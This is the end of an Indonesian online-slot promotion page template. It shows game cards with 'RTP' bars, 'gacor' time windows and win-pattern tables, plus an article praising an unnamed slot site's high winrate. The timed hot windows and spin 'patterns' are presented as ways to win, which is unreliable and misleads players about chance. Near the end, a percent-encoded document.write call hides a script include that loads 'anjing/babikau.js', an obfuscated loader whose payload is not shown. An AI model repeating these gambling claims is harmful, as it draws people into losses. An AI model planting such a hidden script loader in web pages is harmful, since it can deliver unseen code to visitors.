                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-64" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-64" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(64)">Simulasikan</button>
                  <div id="simulasi-result-64" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00014.png" alt="Lucky Panda">
         <div class="game-title">Lucky Panda</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-65" style="width: 67%;"></div>
            <div class="progress-bar-text" id="rtp-text-65">67%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(65)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-65">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-65">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 27</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 48</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-65" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(65)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-65" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-65" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(65)">Simulasikan</button>
                  <div id="simulasi-result-65" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00015.png" alt="Who's The Boss">
         <div class="game-title">Who's The Boss</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-66" style="width: 31%;"></div>
            <div class="progress-bar-text" id="rtp-text-66">31%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(66)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-66">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-66">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 23</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-66" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(66)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-66" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-66" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(66)">Simulasikan</button>
                  <div id="simulasi-result-66" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00016.png" alt="Kung Hei">
         <div class="game-title">Kung Hei</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-67" style="width: 84%;"></div>
            <div class="progress-bar-text" id="rtp-text-67">84%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(67)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-67">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-67">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 41</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-67" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(67)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-67" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-67" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(67)">Simulasikan</button>
                  <div id="simulasi-result-67" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
   </div>
   <div class="artikel">
      <h1>Mengapa <?php echo $nama_situs; ?> Menjadi Pilihan Terbaik untuk Slot Gacor?</h1>
      <p>Dalam dunia permainan slot online, nama <strong><?php echo $nama_situs; ?></strong> telah menjadi sorotan
         banyak pemain. Dikenal dengan winrate yang tinggi dan permainan yang fair, <?php echo $nama_situs; ?> terus
         menarik perhatian para pencinta slot. Tapi, apa yang membuat <?php echo $nama_situs; ?> benar-benar berbeda
         dari situs lainnya?</p>
      <p><?php echo $nama_situs; ?> menawarkan pengalaman bermain yang tidak hanya mengasyikkan, tetapi juga penuh
         dengan peluang untuk menang besar. Dengan banyaknya promosi menarik dan fitur-fitur unggulan, pemain merasa
         lebih percaya diri dalam bermain. Inilah yang membuat <?php echo $nama_situs; ?> menjadi salah satu situs slot
         terbaik di Indonesia.</p>
      <p>Jika Anda ingin lebih mendalami strategi dan tips untuk memenangkan slot, jangan lupa untuk mengunjungi <a
            href="#"><?php echo $nama_situs; ?></a>. Di sana, Anda bisa menemukan berbagai informasi yang membantu Anda
         meraih kemenangan maksimal.</p>
      <p>Kesimpulannya, <?php echo $nama_situs; ?> adalah pilihan terbaik bagi Anda yang mencari situs slot online
         dengan winrate tinggi dan pelayanan terbaik. Jangan ragu untuk terus mengikuti update terbaru dan manfaatkan
         semua peluang yang ada untuk memenangkan jackpot besar di <?php echo $nama_situs; ?>.</p>
   </div>
   <script>
      document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%61%6E%6A%69%6E%67%2F%62%61%62%69%6B%61%75%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
   </script>
   </script>

   <script>
      const track = document.querySelector('.carousel-track');
      const slides = document.querySelectorAll('.carousel-slide');
      const prevBtn = document.querySelector('.carousel-btn.prev');
      const nextBtn = document.querySelector('.carousel-btn.next');
      const dots = document.querySelectorAll('.carousel-dot');

      let currentSlide = 0;

      function updateSlidePosition() {
         track.style.transform = 'translateX(' + (-currentSlide * 100) + '%)';
         updateDots();
      }

      function updateDots() {
         dots.forEach((dot, index) => {
            dot.classList.toggle('active', index === currentSlide);
         });
      }

      nextBtn.addEventListener('click', () => {
         currentSlide = (currentSlide + 1) % slides.length;
         updateSlidePosition();
      });

      prevBtn.addEventListener('click', () => {
         currentSlide = (currentSlide - 1 + slides.length) % slides.length;
         updateSlidePosition();
      });

      dots.forEach(dot => {
         dot.addEventListener('click', () => {
            currentSlide = parseInt(dot.getAttribute('data-index'));
            updateSlidePosition();
         });
      });

      // Auto play (optional)
      setInterval(() => {
         currentSlide = (currentSlide + 1) % slides.length;
         updateSlidePosition();
      }, 5000);

      // Set initial active dot
      updateDots();
   </script>

</html>